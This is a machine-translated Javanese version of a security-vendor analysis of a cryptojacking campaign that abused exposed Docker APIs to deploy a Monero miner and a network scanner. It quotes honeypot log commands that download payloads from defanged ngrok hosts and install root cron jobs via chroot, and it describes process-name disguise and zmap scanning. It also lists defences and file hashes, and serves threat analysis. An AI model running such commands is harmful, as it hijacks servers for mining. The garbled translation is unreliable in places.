
Kita nganalisa data sing diklumpukake nggunakake wadhah honeypot, sing digawe kanggo nglacak ancaman. Lan kita ndeteksi aktivitas penting saka penambang cryptocurrency sing ora dikarepake utawa ora sah sing disebarake minangka wadhah nakal nggunakake gambar sing diterbitake komunitas ing Docker Hub. Gambar kasebut digunakake minangka bagean saka layanan sing ngirim penambang cryptocurrency sing ala.
Kajaba iku, program kanggo nggarap jaringan dipasang kanggo nembus wadah lan aplikasi tetanggan sing mbukak.
Kita ninggalake honeypots minangka, yaiku, kanthi setelan gawan, tanpa langkah keamanan utawa instalasi piranti lunak tambahan. Elinga yen Docker duwe rekomendasi kanggo persiyapan awal supaya ora ana kesalahan lan kerentanan sing gampang. Nanging honeypots digunakake wadhah, dirancang kanggo ndeteksi serangan ngarahke ing platform containerization, dudu aplikasi ing njero wadhah.
Aktivitas angkoro sing dideteksi uga misuwur amarga ora mbutuhake kerentanan lan uga ora gumantung saka versi Docker. Nemokake gambar sing dikonfigurasi kanthi ora bener, lan mulane mbukak, gambar wadah yaiku kabeh sing dibutuhake para panyerang kanggo nginfeksi akeh server sing mbukak.
API Docker sing ora ditutup ngidini pangguna nindakake macem-macem , kalebu njupuk dhaptar wadhah sing mlaku, njupuk log saka wadhah tartamtu, miwiti, mandheg (kalebu dipeksa) lan malah nggawe wadhah anyar saka gambar tartamtu kanthi setelan tartamtu.

Ing sisih kiwa ana cara pangiriman malware. Ing sisih tengen ana lingkungan panyerang, sing ngidini kanggo muter remot gambar.

Distribusi miturut negara 3762 mbukak Docker API. Adhedhasar panelusuran Shodan tanggal 12.02.2019/XNUMX/XNUMX
Rantai serangan lan opsi muatan
Aktivitas ala dideteksi ora mung kanthi bantuan honeypots. Data saka Shodan nuduhake yen jumlah API Docker sing kapapar (ndeleng grafik kapindho) saya tambah amarga kita nyelidiki wadhah sing salah dikonfigurasi digunakake minangka jembatan kanggo masang piranti lunak pertambangan cryptocurrency Monero. Ing Oktober taun kepungkur (2018, data saiki kira-kira. penerjemah) mung ana 856 API sing mbukak.
Pamriksan log honeypot nuduhake yen panggunaan gambar wadhah uga digandhengake karo panggunaan , alat kanggo nggawe sambungan aman utawa nerusake lalu lintas saka titik sing bisa diakses umum menyang alamat utawa sumber daya tartamtu (contone localhost). Iki ngidini panyerang nggawe URL kanthi dinamis nalika ngirim muatan menyang server sing mbukak. Ing ngisor iki conto kode saka log sing nuduhake penyalahgunaan layanan ngrok:
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”Kaya sing sampeyan ngerteni, file sing diunggah diundhuh saka URL sing terus ganti. URL kasebut duwe tanggal kadaluwarsa sing cendhak, mula muatan ora bisa diundhuh sawise tanggal kadaluwarsa.
Ana rong pilihan payload. Sing pertama yaiku miner sing dikompilasi ing format ELF kanggo Linux (diidentifikasi minangka Coinminer.SH.MALXMR.ATNO), sing nyambung menyang kolam penambangan. Sing nomer loro yaiku skrip (TrojanSpy.SH.ZNETMAP.A), sing dirancang kanggo njupuk alat jaringan tartamtu sing digunakake kanggo mindhai rentang jaringan banjur nggoleki target anyar.
Skrip dropper nyetel rong variabel, sing banjur digunakake kanggo nyebarake penambang cryptocurrency. Variabel HOST ngemot URL ing ngendi file-file jahat kasebut ana, lan variabel RIP yaiku jeneng file (nyatane, hash) saka penambang sing bakal disebarake. Variabel HOST ganti saben wektu variabel hash diganti. Skrip kasebut uga nyoba mriksa manawa ora ana penambang cryptocurrency liyane sing mlaku ing server sing diserang.

Conto variabel HOST lan RIP, uga potongan kode sing digunakake kanggo mriksa manawa ora ana penambang liyane sing mlaku.
Sadurunge ngluncurake miner, jenenge diganti dadi nginx. Versi liya saka skrip iki ngganti jeneng miner dadi layanan sah liyane sing bisa uga ana ing lingkungan kasebut. LinuxIki biasane cukup kanggo ngliwati pamriksan ing dhaptar proses sing mlaku.
Skrip telusuran uga nduweni fitur. Kerjane karo layanan URL sing padha kanggo masang alat sing dibutuhake. Ing antarane yaiku biner zmap, sing digunakake kanggo mindhai jaringan lan entuk dhaptar port sing mbukak. Skrip uga ngemot binar liyane sing digunakake kanggo sesambungan karo layanan sing ditemokake lan nampa spanduk saka wong-wong mau kanggo nemtokake informasi tambahan babagan layanan sing ditemokake (contone, versi).
Skrip uga wis nemtokake sawetara jaringan sing bakal dipindai, nanging iki gumantung saka versi skrip. Iki uga nyetel port target saka layanan-ing kasus iki, Docker-sadurunge nglakokake pindai.
Sawise target potensial ditemokake, spanduk bakal dibusak kanthi otomatis. Skrip uga nyaring target adhedhasar layanan, aplikasi, komponen, utawa platform sing disenengi: Redis, Jenkins, Drupal, MODX, , klien Docker 1.16 lan Apache CouchDB. Yen server sing dipindai cocog karo salah sawijining, disimpen ing file teks, sing bisa digunakake panyerang kanggo analisis lan peretasan sabanjure. File teks iki diunggah menyang server penyerang liwat pranala dinamis. Yaiku, URL sing kapisah digunakake kanggo saben file, tegese akses sabanjure angel.
Vektor serangan minangka gambar Docker, kaya sing bisa dideleng ing rong potongan kode sabanjure.

Ing sisih ndhuwur ngganti jeneng dadi layanan sing sah, lan ing sisih ngisor yaiku carane zmap digunakake kanggo mindhai jaringan

Ing sisih ndhuwur ana sawetara jaringan sing wis ditemtokake, ing sisih ngisor ana port khusus kanggo nggoleki layanan, kalebu Docker

Gambar kasebut nuduhake manawa gambar alpine-curl wis diunduh luwih saka 10 yuta kaping
Adhedhasar Alpine Linux lan curl, piranti CLI sing efisien sumber daya kanggo nransfer file liwat macem-macem protokol, bisa dikompilasi . Minangka sampeyan bisa ndeleng ing gambar sadurunge, gambar iki wis diundhuh luwih saka 10 yuta kaping. Jumlah download sing akeh bisa uga tegese nggunakake gambar iki minangka titik entri; gambar iki dianyari luwih saka nem sasi kepungkur; pangguna ora kerep ndownload gambar liyane saka gudang iki. Ing Docker - pesawat saka instruksi digunakake kanggo ngatur wadhah kanggo mbukak. Yen setelan titik entri ora bener (contone, wadhah dibukak saka Internet), gambar kasebut bisa digunakake minangka vektor serangan. Penyerang bisa nggunakake aplikasi kasebut kanggo ngirim muatan yen nemokake wadah sing salah konfigurasi utawa mbukak sing ora didhukung.
Wigati dicathet yen gambar iki (alpine-curl) dhewe ora mbebayani, nanging kaya sing sampeyan deleng ing ndhuwur, bisa digunakake kanggo nindakake fungsi sing ala. Gambar Docker sing padha uga bisa digunakake kanggo nindakake kegiatan angkoro. Kita hubungi Docker lan kerja bareng babagan masalah iki.
Rekomendasi
Sisa kanggo akeh perusahaan, utamane sing ngleksanakake , fokus ing pembangunan cepet lan pangiriman. Kabeh dadi tambah amarga kudu tundhuk karo aturan audit lan ngawasi, perlu kanggo ngawasi rahasia data, uga karusakan gedhe amarga ora tundhuk. Nggabungake otomatisasi keamanan menyang siklus urip pangembangan ora mung mbantu sampeyan nemokake bolongan keamanan sing bisa uga ora dideteksi, nanging uga mbantu sampeyan nyuda beban kerja sing ora perlu, kayata nggawe piranti lunak tambahan kanggo saben kerentanan sing ditemokake utawa salah konfigurasi sawise aplikasi disebarake.
Kedadeyan sing dirembug ing artikel iki nyoroti kabutuhan kanggo njupuk safety wiwit wiwitan, kalebu rekomendasi ing ngisor iki:
- Kanggo administrator sistem lan pangembang: Tansah mriksa setelan API kanggo mesthekake yen kabeh wis diatur kanggo mung nampa panjalukan saka server tartamtu utawa jaringan internal.
- Tindakake prinsip hak paling ora: mesthekake yen gambar wadhah ditandatangani lan diverifikasi, matesi akses menyang komponen kritis (layanan peluncuran wadah) lan nambah enkripsi menyang sambungan jaringan.
- Tindakake lan ngaktifake mekanisme keamanan, f.eks. lan dibangun ing .
- Gunakake mindhai otomatis saka runtime lan gambar kanggo njupuk informasi tambahan babagan proses mlaku ing wadhah (contone, kanggo ndeteksi spoofing utawa nelusuri vulnerabilities). Kontrol aplikasi lan ngawasi integritas mbantu nglacak owah-owahan abnormal ing server, file, lan area sistem.
Trendmicro mbantu tim DevOps mbangun kanthi aman, diluncurake kanthi cepet, lan diluncurake ing endi wae. Tren Mikro Kab Ngirim keamanan sing kuat, ramping, lan otomatis ing pipa DevOps organisasi lan nyedhiyakake macem-macem pertahanan ancaman kanggo nglindhungi beban kerja fisik, virtual lan awan nalika runtime. Uga nambah keamanan wadhah karo и , sing mindhai gambar wadhah Docker kanggo malware lan kerentanan ing sembarang titik ing pipa pangembangan kanggo nyegah ancaman sadurunge disebarake.
Tandha kompromi
Hash sing gegandhengan:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
Ing Praktek penutur nuduhake setelan apa sing kudu digawe luwih dhisik supaya bisa nyilikake kemungkinan utawa nyegah kedadeyane kahanan ing ndhuwur. Lan ing Agustus 19-21 ing online intensif Sampeyan bisa ngrembug babagan iki lan masalah keamanan sing padha karo kolega lan guru praktik ing meja bunder, ing ngendi kabeh wong bisa ngomong lan ngrungokake rasa lara lan sukses saka kanca sing berpengalaman.
Source: www.habr.com
